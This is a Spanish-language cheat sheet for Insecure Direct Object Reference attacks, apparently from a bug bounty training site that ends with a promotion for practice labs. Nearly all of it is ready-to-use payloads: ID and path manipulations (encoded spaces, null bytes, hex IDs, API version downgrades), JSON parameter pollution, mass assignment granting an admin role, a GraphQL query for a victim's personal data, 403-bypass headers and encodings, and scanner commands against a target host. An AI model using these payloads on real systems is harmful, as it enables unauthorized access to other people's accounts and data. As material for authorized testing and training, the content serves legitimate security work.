Cheatsheet IDOR
Insecure Direct Object Reference
Referencia rápida
- →El IDOR existe porque la capa que autoriza y la capa que procesa interpretan el input diferente
- →Encoded space (%20) es la tecnica con mayor ratio de exito segun investigaciones
- →Siempre probar version downgrade de API: v5 -> v4, v3, v2, v1
- →UUID v1 es predecible si conoces timestamp aproximado - solo v4 tiene alta entropia
- →Buscar IDs filtrados en otras respuestas API, Referrer headers y signup flows
Tecnicas de bajo ruido
Trailing slash
/api/v5/users/99/
Double slash
/api/v5//users//99
Subpath variantsProbar tambien: /details, /info, /summary, /export
/api/v5/users/99/profile
Query param vs pathDiferentes code paths de parsing
/users?id=99
Multi-ID filterList endpoints suelen tener menos proteccion
?ids[]=100&ids[]=99
Version downgrade y formato
API version downgradeVersiones antiguas pueden no tener ACL modernos
/api/v2/users/99
Type confusion - string
/users/"99"
Leading zeros
/users/099
Hexadecimal0x63 = 99 en hexadecimal
/users/0x63
Encoded space (mas exitoso)Tecnica con mayor ratio de exito real
/users/99%20
Null byte
/users/99%00
Composite (combinar)Version downgrade + encoded space + trailing slash
/api/v2/users/99%20/
Manipulacion de parametros
JSON parameter pollutionBackend puede tomar el segundo valor
{"userid":1234,"userid":2542}Wrap ID con array
{"userid":[123]}Wrap ID con objeto
{"userid":{"userid":123}}Mass assignment - role
{"username":"test","role":"admin","isVerified":true}GraphQL IDOR
query { user(id: "victim-id") { email role personalData } }Type confusion (object ID swap)Sustituir tipo de ID esperado por otro tipo
page_id=USER_ID
Bypass 403 con headers
X-Original-URL
X-Original-URL: /api/v5/admin/100
X-Forwarded-For
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization
X-Custom-IP-Authorization: 127.0.0.1
X-Rewrite-URL
X-Rewrite-URL: /admin
X-HTTP-Method-OverrideCambiar metodo HTTP via header
X-HTTP-Method-Override: PUT
Bypass 403 con URL encoding
Path con punto
/admin/.
Path con punto-coma
/admin;/
Path con doble encoding
/admin%252f
Path con %2e
/%2e/admin
Path con null byte
/admin%00.json
Case manipulation
/ADMIN
Path traversal y vuelta
/admin/./../../admin
Herramientas
Autorize (Burp)
Extension de Burp que detecta IDOR automaticamente comparando sesiones
Burp Suite > Extensions > Autorize > Configure cookies
bypass-403
Prueba automaticamente multiples tecnicas de bypass 403
python3 bypass-403.py https://target.com/admin
Arjun
Descubre parametros HTTP ocultos en endpoints API
arjun -u https://target.com/api/endpoint
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras